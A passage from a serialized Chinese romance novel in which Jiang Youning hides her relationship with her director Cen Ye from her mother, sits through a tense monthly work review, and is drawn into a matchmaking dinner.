女人将她拽起来,捏住她的下巴禁锢住她乱动的脸,冷声威胁,“别再乱动,给你擦眼泪。” “你给人擦眼泪也这么凶吗?”江诗文还是忍不住哭泣,“你能笑一下给我看吗?” 庄玟顿了一秒,扬了扬嘴唇,露出了一个自以为非常温柔的笑容。 江诗文呜咽出声来,“你笑得好难看啊……” 女人脸上的笑容立即没了。 “今晚跟总部有会议对接,有时差,所以我会睡得很晚甚至不睡。”庄玟说,“如果不会打扰到你,我今晚就在这裏过夜。” 江诗文点点头,努力收掉了自己的眼泪- 十月份之后天气阴晴不定,忽冷忽热,姜又柠热得蹬了被子,腰上还落着女人的一双手。 脸颊被戳了下,她晃了晃脑袋;鼻子又被捏住呼吸不得,她张开嘴巴呼吸;下巴被挠了挠,她终于不耐烦地睁开眼睛。 “岑曳!” “怎么了?”女人语气裏含着笑意,起身穿了睡衣,“假期最后一天,有什么安排吗?” “没有,我还以为今天诗文会联系我的,这都中午了,不知道她有没有睡醒。” 姜又柠坐起来,顶着一张鸡窝头,表情茫然。 电话铃声响起来,姜又柠以为是江诗文直接就接了。 ——“柠柠,你现在不是跟诗文一个小区吗?妈妈马上到小区门口了,你看你方不方便来门口接一下?” “妈?”姜又柠下意识看了眼岑曳,感觉到女人的背影微微顿了下,“我,还没起床呢……” ——“就知道你假期又犯懒,那你把门牌号说一下,我自己上楼。”姜鸿英说,“雇主女儿跟你差不多大,她买了好多补品是你们这个年纪的小孩子也可以吃的,妈妈推脱不掉,收下之后立马就来给你送了!” “我才二十多岁,我吃什么补品啊?太浪费了。”姜又柠往身上套着睡裙,快步走进了洗漱间关上了门。 ——“我不是说了吗?就是给你们这个年纪的孩子们吃的,你的室友在不在家?妈妈给你们做顿午饭吧?” “妈,真的不用的……” 可姜鸿英快到小区门口了,姜又柠说不出让她独自回集体宿舍的话。 “你还有多久到啊?”姜又柠思索了下,“我去小区门口接你。” 挂了电话,她急忙去另一个洗漱间找岑曳,“我妈要来。” “嗯。”岑曳点点头,“要跟你一起去接吗?” “岑曳!她不知道我们现在在一起住!”姜又柠急得很,“她会不高兴的!” “那我走,我尽快洗漱一下就离开,好吗?” “别……”姜又柠听不得她说这样的话。 她意识到自己还喜欢岑曳的时候就在担忧今天这种情况了。 到底该怎么让姜鸿英接受她跟岑曳的感情? “柠柠,我们都不掺杂任何不好的情绪好不好?我也是,你也是。”岑曳握住她的手,“在解决办法没有考虑出来之前,我们应该避免冲突跟矛盾。” “可我怕你会难过……”姜又柠认真看着她的眼睛。 过去的事情她不想经历一次又一次了,为了不伤害自己的母亲,却让岑曳一次次受了难。 “不会。”岑曳捏捏她的脸,露出笑容来,“我们最期待的不都是圆满的那一天吗?” 姜又柠点点头,张了张唇还是同意了女人的话。 “正好明天是月度彙报吗,我去找庄玟聊一聊。”岑曳说着就走到客厅拿了手机拨通电话。 那边难得的响了将近一分钟才被接起来。 “还没起床吗?” ——“刚睡下。” 岑曳恍然大悟,“去部门睡吧,路上我跟你聊聊月度彙报的事情。” ——“岑曳,你没有人性吗?” “我们庄负责人终于知道刚睡下就被工作电话喊醒的感受了吗?” 那边传来细微的动静,岑曳眼下确实需要找点事情做,不然她哪裏会跟庄玟通电话? ——“我就在小区,你过来找我吧,我跟你一起去。” 岑曳穿着外套,跟姜又柠嘱咐了几句话要她安心,“今天虽然又升温了,但出门还是得穿厚点,知道吗?” 姜又柠重重点头,目送着岑曳离开了。 她紧赶慢赶洗漱完,简单收拾了下客厅,就坐上电梯快步朝着小区门口走。 姜鸿英见了她,冲着她招招手。 “妈,你下次别自己跑了,有东西给我我自己去拿就行!”姜又柠双手接过去她手裏的补品,“新小区离你的宿舍太远了!” “妈就想自己来看看你还不行啊?”姜鸿英跟着她走,“你室友在家吗?妈妈应该方便进家裏吧?” “室友不在,加班去了。”姜又柠说,“家裏就我一个人。” “那妈妈给你做顿午饭吧?” “家裏没什么菜,不常在家裏做饭的。”姜又柠跟她有一搭没一搭地聊着天,余光瞥见不远处走来了两个女人。 岑曳的脚步停了,下意识拦了下庄玟。 “不去打声招呼?”庄玟一看就能看出不远处的两个人是母女关系,“怪不得你把我喊出来加班。” 姜又柠立即收回视线,不敢让自己的动作太大,生怕姜鸿英看见。 “妈,走快一点,这个补品好重!” “柠柠……”姜鸿英喊她,朝着岑曳的方向望了望。 姜又柠立即被吓得颤了下。 她怎么也没料到,两个回去的和两个出去的会直接在小区裏面撞见。 姜又柠咬唇,求助地望向了不远处的女人。 岑曳见状,大步走过来,“姜阿姨,好久没见了。” “是好久没见了。”姜鸿英露了个浅淡的笑,往前面走了半步挡住了姜又柠半个身子,“岑小姐也在这个小区住啊?什么时候回来的?” “刚回来没多久,工作调动。”岑曳看出了姜鸿英抗拒的动作,“您先忙,我还有工作要处理。回头找时间我们另外叙个旧。” 姜又柠紧张地用嘴巴呼吸,目送着女人远去,才拉着姜鸿英去等了电梯。 她用余光偷偷瞄了眼,不知道该说什么。 “你最近是不是跟她接触过?” 姜又柠点点头,“她是我部门新调来的总监,我也是最近才知道我们部门隶属的总部是哪家国外公司。” 姜鸿英紧紧抿着唇,表情有点难看。 “诗文也是从总部来的,她跟岑曳也认识,所以岑曳会出现在这个小区。” 多余的话姜又柠一个字都不敢说,她频繁深呼吸着,将唇舔了一下又一下。 “很多话妈妈都跟你说过很多次,你又不爱听。”姜鸿英嘆口气,“你真的要长长记性,知不知道?” “工作而已,妈……”姜又柠碰碰她的胳膊示意她进电梯。 “人家岑总不是教育孩子说要往前看往上看?柠柠,我们也得往前看。”姜鸿英叮嘱她,“过去的事情就让它过去,妈妈只想让你过得开心一点,从小到大这一点一直是不变的。” “我知道。” “实在不行,妈妈给你介绍个对象?”姜鸿英想了想,“我们公司有几个姐姐的女儿也常来看她们,性格都挺不错的,下次她们再来我把你也喊过来,大家一起认识一下。” “妈,你现在怎么也开始这样了?”姜又柠不乐意道,“我之前还跟你吐槽过我最不喜欢这样到处介绍对象的阿姨了。” “好了好了,我不说了还不行吗?” 开门之后,姜鸿英在房子内简单参观了下。 “这个房子是不错,比你之前的大不少,小区绿化也好,果然还得是住贵的小区。” 姜又柠给她端来一杯热水,“妈妈,比这个房子好超级多的你不是都见过很多套了嘛。” “那是有钱人住的房子,我们自己住的话,肯定是要选择可承受范围内性价比最高的。”姜鸿英说,“有钱人的大房子,不少房间都是空着的,多浪费啊,还得定期请人花钱打扫。” “妈!你说得太对了!我跟你说了我住的很不错的,你之前还不信呢。” 姜鸿英满意地点点头,“你是知道妈妈性格的,我得自己亲眼看看。” “那你再参观参观呗,我回个消息。”姜又柠走到厨房门口,快速给岑曳编辑了几条消息过去。 【姜又柠:我妈妈要帮我做午饭,给你留一些吧?小时候那些菜你还喜欢吃吗?】 【姜又柠:要是我们能像之前那样坐在一起吃饭就好了。】 “柠柠,这些家具都不是你买来用的吧?” 姜又柠闻言将手机藏在身后,看向她指的几个家具,“不是,是室友买的,我偶尔蹭一蹭。” “还是些老牌子,价格贵质量好。”姜鸿英像是想起了什么,“过去在岑家的时候,家裏摆的也都是这些牌子的家具,打扫的时候就怕磕了碰了。” 姜又柠一愣,“大牌子当然买的人多呀!” “妈妈看你住得好,室友也好相处就放心了。”姜鸿英说,“她什么时候下班?爱吃什么?我给她做些菜等凉了用保鲜膜盖住放进冰箱裏,晚上你们加热一下一起吃。” “好呀好呀!”姜又柠当然同意了。 她美滋滋地盯着手机,没能收到岑曳的消息还有点失望。 打字太慢,她便压低声音发了条语音过去。 “我妈妈要给我们做饭吃啦!” 【岑曳:多吃一些,我晚上回来,或者你给我一个方便的时间。】 姜又柠发过去一个ok的手势,跟着姜鸿英再次出去买菜了。 忙碌了一个多小时,满满一大桌子菜摆上了餐桌。 姜鸿英拍掉姜又柠想要先尝一口的筷子,批评道,“着急什么?拿几个干净的盘子先扒出来一些,给你室友留着。” “好吧……”姜又柠轻哼了一声,听见姜鸿英这样说着,嘴角还是忍不住上扬。 “我先拍给她看看!她一定会很高兴的!”她拿起手机,拍了几张照片给岑曳发了过去。 【岑曳:还是一大桌子熟悉的菜。】 一句话莫名让姜又柠鼻子发酸。 小时候就是这样,她给姜鸿英打下手,做满一大桌子菜等岑曳回来一起吃。 现在这个机会,还不知道在未来的哪一天才可以重新拥有—— 作者有话说:[害羞][害羞]《 》 40-45 第41章 晚上姜鸿英还要去雇主家裏, 所以吃完午饭又帮姜又柠收拾了餐桌才打算离开。 “看家裏收拾得很干净,你室友的卫生习惯应该也很不错。”姜鸿英知道她的懒病,“卫生你也勤打扫知道吗?不然家裏容易生虫子。” “现在都是秋天了, 而且都生虫子了那得是多不卫生的家啊?”姜又柠为自己辩解,“妈妈,我比一般人干净太多了。你不能把你打扫之后的家跟我平常生活的环境对比啊, 那整洁程度当然不一样了。” “知道了知道了,现在多说你两句就嫌我啰嗦。”姜鸿英把碗放进烘干机裏, 又多看了几眼家具的牌子。 她背过自己拎来的布包, “那我就走了, 那些补品你记得吃, 都是好东西!” 姜又柠点点头,陪着姜鸿英去了小区门口。 “我帮你打辆车直接到。” 等到出租车的空隙,姜鸿英又叮嘱她,“妈妈知道你现在大了, 有自己的想法, 但吃过的亏不能白吃。” “大家都比以前成熟呀,你只想着让我避免犯错,有没有想过我现在是有解决问题的能力的?” “柠柠,你真是死脑筋。”姜鸿英无奈得很,“眼界也该宽一些, 多认识些人, 多交些朋友, 不要一放假就躺在家裏玩手机,哪儿都不去。” “妈,你不知道周末外面人有多少吗!挤都挤死了,吃个饭没提前排队就得等上两小时。” “又在给我乱转移话题!” 姜又柠瘪瘪嘴, “……车来了。” 目送着出租车远离之后,姜又柠就给岑曳发了消息。 【姜又柠:你什么时候回家?我提前帮你把菜热一热。】 岑曳发了个晚饭的点儿。 估计又忙起来了,姜又柠嘆了口气,回家继续睡了一觉。 一觉醒来的时候,就嗅到了厨房裏传来的饭香。 她急匆匆起了床,看见岑曳穿着围裙正在热菜,“醒了?” “还想着你一回来就能吃上热气腾腾的菜呢,我订了闹钟来着,难道我没有听到吗……” “回来得早了一些。”岑曳说,“看见你在睡,就没喊你。” 姜又柠要帮她,又被岑曳拒绝了,便站在一边静静地看她。 “你在总部的时候住的是什么房子?” 岑曳看她一眼,“家裏的房子,为什么突然问这个?” 那应该也很大吧,应该跟岑家那个别墅一样大,也或者更大一些。 现在的岑千兰应该比以前的身家翻了好多倍。 “那这个房子你住得习惯吗?” 只是高檔小区而已,但住户是比较密集的,岑曳的性格是不太喜欢太闹的小区的。 岑曳抿唇,“又在想找新室友的事情?” “不是。”姜又柠立即摇头,“这个房子跟之前比太小了,怕你住不习惯。” “你能住我就能住。”岑曳坦然回答,将菜往餐桌上端。 她无所谓居住环境,脏了她会收拾会布置。 只要有姜又柠在的地方,她怎么样都可以。 岑曳递给她一双筷子,“买一套房子还在我的规划之内。” 姜又柠知道她在说什么,抿抿唇没有回答。 她现在脑子挺乱的,尤其是晚上的时候,总在胡思乱想。 现在的她们知道了彼此的心意,但谁都没有刻意提起过‘复合’这两个字,就这样毫无名分地睡在一起。 如果岑曳真的提了重新在一起的话,姜又柠居然不知道自己会不会立即答应。 大概是还没有解决的问题太多了,所以岑曳没有立即要她做出一个选择。 岑曳那么聪明,一定早看穿了她的心思。 “味道还好吗?”姜又柠问她,“在冰箱裏放了好几个小时了。” “还是跟以前的味道一样。”岑曳认真看她,往她的碗裏夹了菜,“很熟悉,也很令人怀念的味道。” 姜又柠慢慢咀嚼着嘴裏的米粒,望向女人那张温润的脸,“岑曳,我好像不怎么了解你。” “你想了解我什么?”岑曳问,“在国外的事情吗?” 她什么都可以告诉她,也希望姜又柠主动这样询问她。 “不仅仅。”姜又柠深呼吸了下,不知道从何说起,“在岑家的时候,我只知道你对我很好,是让人很喜欢的姐姐,但我不了解你,不了解你的生活环境,不了解你的家庭关系。” 她只知道岑千兰看着很和蔼,但实际上非常不好接近。 岑家母女的相处方式她也不清楚,只知道这两个人在家裏吵过几次架,姜鸿英也不允许她多看,更不允许她问。 每次跟岑曳待在一起的时候,都是关于补课,或者一起出门玩儿。 中心人物永远是她,而岑曳不吐露任何自己的事情。 “我记得你大四那年,我在家裏听见岑阿姨要你早些去总部实习工作,态度很强硬的,我哭着要你留下来,你还真的没走。” 她以为岑曳真的在骗她,毕竟没有人会反对岑千兰的话。 所以无论岑曳怎样哄她,她还是哭得很伤心,那段时间每次跟岑曳见面她都当成是最后一次见面,生怕之后再也见不到了。 岑曳是怎么拒绝的呢? 姜又柠不知道,只知道她后来真的很开心。 如果那个岑曳走了,她们后来就再也不会有任何交集了吧?更别说恋爱了。 “能留下来不就好了?不用知道过程。” “过去的你什么都好,就这点最不好。”姜又柠撂了筷子,“过去是因为身份原因我不能多问,但现在我也不能知道吗?” 岑曳视线落在面前的餐桌上,想起了那晚被掀翻在地的一桌子菜。 当时岑千兰说着可以给她足够的时间考虑,但在她没课的时候带着她去见了一个总部的负责人。 说是吃饭跟好友聚餐,实则这位负责人全程都在考察岑曳的能力。 本着不给岑千兰丢脸的目的,岑曳将负责人不经意间问出来的所有问题都答得滴水不漏,无论是工作方面还是为人接触方面。 “你的性格比过去的千兰要适合在总部发展啊。”聚餐结束前,负责人给了她足够高的评价。 她的性格不算太强势,也不会让人下不来臺,对待生人或者熟人都是一副春风拂面的好相处模样。 回岑家的路上,岑曳没有主动开口说一个字。 “考虑好了吗?刚才那位是总部现阶段最有能力也最有可能被提拔的高管,她对你的评价很不错。你愿意的话这几天我就可以帮你安排到总部去,学校那边你也不用担心,我找人帮你打声招呼。” “我说了我想留在国内生活。” “可以,当然可以。”岑千兰说,“你先到那边试一试,之后有机会你可以再申请调回来。” “当我没了解过你们公司吗?根本就没几个跨国项目。” 只要去了就没有再回国发展的可能。 “会有的,总部目前已经有开拓国内市场的计划了,如果条件成熟,你可以按照你的想法来。”岑千兰认真为她考虑,“但在此之前,你得按照我帮你安排的计划走。” “我不想去。”岑曳下了车,头也不回地往家走。 家裏姜鸿英刚做好饭菜,见了母女两人回来,打了声招呼。 “柠柠今天不在?” 姜鸿英歉意地笑笑,“我让她回宿舍住了,最近一段时间太麻烦您了。” 又是哭又是闹的,她哪裏好意思让岑曳一直主动去哄自己的女儿? 最怕的就是孩子不懂事,大人也不跟着教育。 姜鸿英离开之后,姜又柠也不在,岑曳更觉得无聊,香喷喷的菜也没什么吃的欲/望。 岑千兰率先坐下,主动将筷子放在她的餐盘上,冲着洗漱间洗手的岑曳喊,“下午那顿饭是不是没好好吃?我特意喊了鸿英来做了你爱吃的,今晚你多吃一点。” 岑曳抽了纸巾擦手,打算直接上楼,“不吃了,我不怎么饿。” “又不听我的安排?”岑千兰没了好脸色,“我是你妈妈,我又不会害你!给你安排好学校好工作,你什么时候能听我一次?” “我不需要你的安排,我按照自己的方式也能过得很舒服。”岑曳反驳她,“安排安排!什么都要帮我安排!我不喜欢私立小学,也不喜欢国际高中!国外那些大学我更不想去读!事实证明,我不用你安排我自己也能得到很高的评价。” 她在公办学校裏次次位居前列,高考考上本市最好的A大,有导师为她写保研推荐信,但她不乐意再读书,选择就业。 岑千兰不顺地深呼吸,重新露出笑脸,“你按照妈妈的安排不是能走得更顺利些吗?不用像现在这么辛苦的。” “我不辛苦,这是我喜欢的日子,很充实,很满足。” “你还太小,还没进社会,工作之后你会慢慢理解妈妈的,妈妈给你的一切是多少人都羡慕不来的。” “我说了我不需要!为什么总要把你的想法强加在我的身上?” 岑曳不喜欢这种毫无意义的对话,没人能够说服对方,还会让她的情绪变得无比烦躁。 “总把我的好心当成驴肝肺吗!我对你这么好,你有把我当成你的妈妈吗!”岑千兰的耐心彻底结束,“你知不知道你真的很难管教!” “是我难管教还是你对我的掌控欲太强了?”岑曳质问她,“为什么我的强迫症这么严重你有想过吗?都说一两岁的事情记不得,但我学步的时候只要没走一条直线,你就会把我抱回原地让我重新走!后来学写字,学错一个字就要我把整张纸撕掉重头开始写!” 要她永远去做最完美的事情,手要洗得最干净,床单要迭得最整齐,课本由大到小不要乱放。 别人来家裏做客的时候,就会夸赞她的女儿有多么完美,来岑家的人都知道岑千兰最喜欢自己的女儿,每个人都在她身上去找奉承岑千兰最好的话。 “你怎么会对这些小事记得这么清楚呢?我只是想让你养成一些好的习惯而已。”岑千兰皱眉,“小事你是听了,但上学工作这种大事儿你什么时候听过我的?” “我不是机器人,不是能被你随意安排的员工。”岑曳转身上楼,“总部我不会去的,岑总也不用跟我再进行这种无聊的对话了。” 她刚迈上几步臺阶就听见身后的菜落地的声音。 盘子碎了一地,岑曳甚至没转头去看,只是停了几秒钟之后就大步回了自己的卧室。 后来,岑千兰没再问她要不要去总部的事情。 再后来,她在家裏见到岑千兰的次数就更少了。 …… 姜又柠见她沉默许久,“……不想说就算了嘛,我不问了。” “没有,只是想起了一些过去的事情。”岑曳往嘴裏送着青菜,“跟我妈闹了点儿矛盾,就没去。” 那个时候岑曳对于她还没有任何感情的因素,姜又柠无法想象两个人是怎么吵架的。 在她出现在岑家的时候,岑千兰永远是平静且温和但压迫感很重的样子,姜又柠不敢接近她。 “我以为你跟岑阿姨的感情很好呢。” “还不错吧。”岑曳说不出难听的话,岑千兰作为母亲来讲,除了掌控欲强之外,挑不出任何毛病,她给她提供了太好的家庭条件了,甚至事事以她为主。 “我跟我妈妈的关系也很好呀,不过母女间闹矛盾也挺常见的。”姜又柠看女人表情不太好,主动缓解着气氛。 岑曳笑了笑,“你现在倒是比以前成熟很多。” “人都是会长大的。”姜又柠赞同地给自己点了点头,拍拍胸脯道,“我肯定比以前更厉害,对吗?” “还会跟以前一样坚定吗?” 倏地,女人这样问她。 姜又柠怔愣地对上她的眼睛,随后垂下头,“……我想要的从来都没变过。”—— 作者有话说:怎么酸酸涩涩的……[好运莲莲][好运莲莲] 第42章 剩下的两天假期姜又柠没能等到江诗文的联系, 她准备好跟她好好解释来着,倒是没能找到个机会。 国庆假期过得太快了,岑曳频繁去部门加班, 好不容易的假期也没怎么休息。 周六补班这天,江诗文顶着发黑的眼圈出现在了工位上。 “没休息好吗?”姜又柠问她。 “昨晚找庄玟改了下PPT,好多小毛病, 改了好久,四点多才被她放过……”江诗文从包裏拿出了几袋速溶咖啡, “我要提一下神了。” “你之前不是说打死你都不会喝咖啡的吗?”姜又柠也在检查着ppt, 脑子裏过着彙报流程, 一会儿十点半就要正式彙报了, 她心裏紧张得很。 “庄玟给我塞的,说这个很提神的。”江诗文虚弱地开口,“早知道我应该提前两天就问她怎么改的,本来以为她不会帮我的, 谁知道变成了我不改完就不让我睡觉……” “没事, 熬过这几天就好了,前天恋爱综艺不是更新了新的一期吗?之后我们找个时间一起看!这次我肯定能陪你!” “可我已经看过了……” “啊?” 江诗文不愿意承认,“前天晚上从小酒馆回家之后,我拉着庄玟陪我看的……” 姜又柠盯着江诗文的眼睛,“你们现在相处得还挺好的。” “大概……好像还行吧?” 前天晚上在客厅, 江诗文本来是坐在沙发上, 顶着晕乎乎的微醺脑袋看最新一期的恋爱综艺, 也不知道庄玟哪根筋搭错了,开完会本来打算忙工作的,结果注意力也被吸引到了恋爱综艺上。 江诗文见她似乎感兴趣,拉着她讲了屏幕上那对情侣的感情纠缠。 大概是哭惨了, 庄玟心生了怜悯之情,没拒绝没吐槽,被她拉着把往期恋爱综艺全补了一遍。 大上午两个人还下楼一起吃了快卖完的早餐,刚睡下的时候庄玟就被岑曳一通电话喊去了部门,她自己倒是一觉睡到了晚上。 结果晚上改PPT又改到了凌晨,庄玟应该是在报复她吧? 江诗文现在坐在工位上,说不清是无语还是感激的情绪更多。 “你要不睡会儿?”姜又柠关心道,“一会儿都去会议室彙报了,你们对接的人是第二批,睡会儿应该都不会被发现的。” 江诗文点点头,撑着脑袋把眼睛闭上了。 没过多久,姜又柠就拿着ppt跟着大部队进了会议室。 岑曳作为总监先大致说了最近一个月的工作成果,着重强调了被忽略的几个问题。 姜又柠认真听着,发现庄玟也在,位置就在岑曳的旁边。 “这次月度彙报由庄负责人跟我一起参与。” 话毕,庄玟交迭着双腿坐着,没有太大的动作,只是冷着脸简单点头对着所有人示意了下。 “我们总部的人先打个样吧。”庄玟抬抬下巴,距离她最近的助理便率先走上了发言臺。 彙报全程十分钟,按照ppt的内容将最近对接的情况说得滴水不漏,格外完美。 说是打个样,更像是立个下马威。 岑曳扫了眼在场人的表情,淡淡勾了下唇。 有时候确实需要庄玟这种性格的人来示威。 庄玟这边的人彙报得快又迅速,她针对ppt提问的问题员工也答得又快又好,很快就轮到了部门的工作内容。 部门是抽签发言的,助理按下程序按钮,第一个名字显示的是姜又柠。 姜又柠意外得很,脸上露出明显的紧张来,她下意识看了眼岑曳,女人给她了个鼓励的眼神。 她抿抿唇,这个女人又在做这些非常明显的事情。 PPT插/好之后,姜又柠按照自己偷偷排练过好几遍的话来有条不紊地讲自己近期的工作内容。 她尽量放缓自己的声线,保证自己吐字清晰。 彙报结束之后,庄玟抬眸拿过遥控,翻到了前几页,“这些内容再详细说说。” 这是岑曳没来的时候,她做过的几项还算比较重要的内容。 因为比较熟悉,所以姜又柠也答得很快。 庄玟点点头,摆摆手示意第二位上了臺。 姜又柠心跳得很快,岑曳嘴角还带着笑,不过始终一字未言。 她有种当着班主任的面演讲,自己家长还坐在下面看好戏的感觉。 不过周围人面面相觑,还以为岑曳是这次月度彙报的主要负责人,没想到是只在部门见过几次面的庄玟。 第二个人只讲了一半就被庄玟打断喊停,她拿着PPT快速翻了翻,皱起了眉头,“完全没重点啊,这就是你这一个月的成果吗?” 臺上的人紧张地搓了几下双手,庄玟等了她三秒钟没能等到她回答就摆手示意第三位上臺。 岑曳手裏拿着部门人员统计表旁听着,偶尔拿着笔在表上勾勾画画,记录一些内容。 随着后面几位的上臺,岑曳的脸上也没了笑,面容上露出了些许不耐。 庄玟又一次拿起遥控翻到某页,“你做了对接这部分的工作内容吗?我怎么没见过你?” 臺上的人磕磕绊绊,“只接触过……比较……比较简单的工作。” “是吗?”庄玟反问她,这次等来的依旧是员工的沉默。 姜又柠舔了舔唇,为了ppt好看,不少人都往上添油加醋写了点儿对接的内容。 她之前也写了,只不过后来被岑曳点名去掉了。 岑曳应该一早就知道这次月度彙报是庄玟来负责吧? 看庄玟的性格就知道在工作上是不近人情的,幸好她听了岑曳的话,把这些她没做过的工作去掉了。 她还是第一个,不然现在在臺上尴尬的就是她了。 身边有人找了会议室的共用笔记本开始现改PPT,庄玟扫了一眼挪开视线,“谎报事实,这就是你们部门的工作态度吗?” 她将遥控扔回会议桌上,“岑总监,我就先不在这儿浪费我的时间了。” 庄玟起身朝着外面走,身后几个员工陆陆续续跟着离开了。 岑曳坐着不动,“那就先散会吧。” 姜又柠犹豫了下,跟着大部队回到了自己的工位上。 “才十一点半哎?彙报完啦?”江诗文终于睡醒,揉揉眼睛问,“我还以为至少要整一天呢?” “部门裏的人ppt做得太差,工作也不认真,庄玟好像生气了。”姜又柠不知道岑曳那边什么态度,想着给她发条消息问问又不好直接说。 毕竟是工作上的事情,她不能用私人感情来正大光明地询问。 “她有什么好生气的?之前跟我吐槽过我们部门裏的人都不认真啊,她不早就有预料吗?” 不用再彙报了,江诗文立即放宽了心,语气也变得悠扬起来。 快到饭点,大家这次溜得很快,从会议室出来之后声音就不小,这下更是三三两两扎堆边吃饭边吐槽。 姜又柠时刻盯着会议室的门,始终没能等到岑曳出来。 直到周围的工位彻底空了之后,她才小心翼翼地敲开了总监办公室的门。 岑曳见是她,搂过她的腰忍不住垂头去吻她的唇。 姜又柠推了推她,“庄玟生气了?” “应该吧。”岑曳皱了皱眉头,又去吻她的唇。 “那怎么办?” “庄玟生气跟你有什么关系?她不是夸你PPT做得好吗?” “那是因为你帮我改了啊,花了好长时间呢。” 她又推了下岑曳,被女人抓住了手,“别不专心。” 岑曳将她抱紧了些,她喜欢这样紧紧贴住的姿态,将姜又柠抱在怀裏的感觉很好,很温暖。 姜又柠的下唇被她咬了下,她下意识舔了下,舌尖推了下女人的牙齿,又被她咬得吃痛。 “岑曳……”她攥紧她胸口的衬衫衣料,却心口不一地迎合她的亲吻。 她们不该在办公室做这么亲密的事情的,可现在是午餐时间,又有谁会发现呢? 岑曳不喜欢她分心,吻得重了些,带着十足的侵略性,舌面舔着她的唇,不留下任何缝隙,轻而易举地将她身边所有的空气都吮走。 姜又柠被亲得眸中含了些水雾,头晕目眩,这种场合下的亲密给她的感官刺激太大了。 尽管她们只是在亲吻,却像做了更深层次的事情一样。 吻得太久,姜又柠有些站不稳,她只能伸出手扯了下女人的衬衫,要她快些结束。 她就是来问问月度彙报的事情,不是送上门来挨亲的。 黏黏糊糊了二十分钟,岑曳才终于放过她,姜又柠的视线许久都没能聚焦,雾蒙蒙的看着面前的女人。 “本来部门压力就大,我怕之后加班更多了怎么办……”姜又柠会说话的技能此刻又彻底表露了出来,“加班多的话在家休息的时间就少,那我们两个还怎么在家裏打发时间嘛。” 岑曳果然笑了,解释道,“是我让庄玟过来的,这段时间部门裏的工作状态我也很清楚,只是给部分人找个正当的理由劝退而已。” 姜又柠意外得很。 岑曳的指腹抚着她的眼尾,舔了下唇回味着刚才的吻,“会担心自己吗?” “当然了啊,我现在不想离职了。” 女人皱了皱眉,找出了她话裏的疏漏,“你想过离职?” “最开始的时候想过,因为不知道该怎么跟你重新相处。”姜又柠如实回答。 看见女人不算好的面容,姜又柠高傲得很,双手交叉抱胸,“你这个人强迫症那么严重,谈恋爱的时候我被你折磨了那么多次,我下意识想逃离很正常啊!” 岑曳抿唇看她,帮她整理好微乱的领口,“现在还想逃吗?” “看你表现啊。”姜又柠嘴角上扬,“我这个人只会往前看的。” 臭屁得很。 有时候岑曳格外恍惚,经历分别那四年的时候,好像时间格外难熬,但现在重逢之后,那些痛苦的日子怎么都不觉得当时的自己格外辛苦了。 甜蜜总能覆盖伤痛,她喜欢姜又柠依旧在她面前表现出嚣张的样子。 没有被冰冷的社会和机械的社交而变得成熟麻木,永远是旧时光裏那个高兴了就笑个没完,难受了就主动到她面前求拥抱,流眼泪留个没完。 这种被信任的感觉很好,让她有家的感觉。 “你想往哪儿看都行。”岑曳整理好她的衣服,抚了抚她的脑袋,“东南西北四个方向,怎么着我都乐意跑。” “在哪儿进化的……”姜又柠轻哼了一声。 以前没见这个女人这么会甜言蜜语的。 “之后能每天都来办公室吗?” “干嘛?”姜又柠疑惑问她。 “嗯……”女人勾唇笑道,佯装思索,“跟我接吻?” “你想得美!”—— 作者有话说:姜又柠:上司每天都想要和我在办公室亲亲怎么办? 我们岑姐说,接吻有助于缓解上班的压力。 第43章 下午部门内的气压很重, 姜又柠倒是很悠闲,月度彙报的事情按照往常来看,几乎都要两天左右, 这几天又是补班,工作安排相对来说不算太多。 姜又柠乐得悠闲,脑子不被工作打扰, 就开始钻进去一些乱七八糟的事情。 她时不时摸摸自己的嘴角,想着刚才在办公室接吻的滋味, 嘴角忍不住上扬。 抽屉裏还剩下最后一颗糖, 她拆了包装塞进嘴裏, 哪怕要连着上七天班, 心情也格外雀跃。 有岑曳在,好像上班时间也不算太难熬了。 不过工位上是低气压,工作群裏却聊得热火朝天。 无非就是吐槽庄玟太冷血,比岑曳还要过分一些, 一点好脸色都不肯给, 月度彙报最开始还要跟手下员工对比,裏裏外外都内涵她们工作不认真,态度差。 姜又柠一早就知道部门裏人的性格,各自都怀揣着不少小心思呢。 反正跟她没关系,她彙报得可好了, 甚至还是第一个上臺的, 没有虚假内容, 并且每个问题都答得流畅又丰富。 之后没多久,姜又柠就敏锐地感觉到周围有视线落在她这边,她立即收敛了笑容。 她开心是因为刚刚在办公室跟岑曳接吻了,不是因为她在月度彙报裏表现得很突出。 emmm…… 这理由听着也很奇怪。 下班的时候, 姜又柠望向安静的办公室的门,有默契地选择了加班。 能跟岑曳不用避讳地同乘电梯下班,这种开心的感觉简直像第一发就在混池裏抽到了最想要的奖品! 岑曳拉开车门,现在姜又柠能够心安理得地坐上去。 路上她接了个来自姜鸿英的电话,说临时有个聚餐想让她过去一趟。 车厢内很安静,姜又柠下意识看向驾驶座的女人,眼神询问着她的意见。 岑曳抿了抿唇,低声道,“想去就去,我把你送过去。” 姜又柠应下了之后挂了电话,“其实我刚才还打算问你今晚准备吃什么的。” “所以你要跟我回家?” 姜又柠舔了下唇,知道她不怎么高兴,“我很快就回来。” “嗯。”岑曳浅淡道,示意她输入地址。 “那我回去的时候你能来接我吗?”姜又柠露出两排洁白的牙齿笑着问她。 她喜欢坐岑曳的车子一起回家,她也知道岑曳会跟她一样高兴的。 女人果然勾了勾唇,“行,记得不要喝酒。” “保证不喝!”看见她脸上露出些许笑意,姜又柠的心才稍稍放下来一些。 餐厅是一家徽菜馆,口味比较清淡,姜家母女之前来过好几次。 姜又柠刚走进去就看见了姜鸿英冲着她招手,对面还坐着两个人。 其中一个中年女人姜又柠认识,是姜鸿英在家政公司裏比较熟稔的朋友,另一个女孩子比较年轻,这两个人看起来应该是母女。 “坐,柠柠,颜阿姨你见过几次的,这是她女儿颜歆。”姜鸿英热情地介绍,“这是我女儿姜又柠。” 姜又柠摸不清状况,但还是跟对面的颜歆握了握手,礼貌客套了几句之后就坐下了。 “你好,听我妈妈说起过你的,我前段时间刚回国,还在找国内的工作。” 颜阿姨碰了碰颜歆的胳膊,“说你没工作干什么?你说点儿重要的事情。” 颜歆戴了个黑框眼镜,头发又长又直,看起来格外文静,说话轻声细语的,“我28岁了,今年刚在德国博士毕业,今后打算在国内发展。” 姜又柠被颜歆的学历吓了一大跳,越听又越觉得不对劲,看了眼姜鸿英满意的表情,只能硬着头皮介绍自己,“你很厉害,我就在一家普通的公司工作,24岁了。” 她说不出自己什么优点,只能报了下自己的公司名字。 “这家公司我听说过的,总部在美国对吧?是家很有名的大公司。” 姜又柠点点头,不知道该怎么继续往下聊。 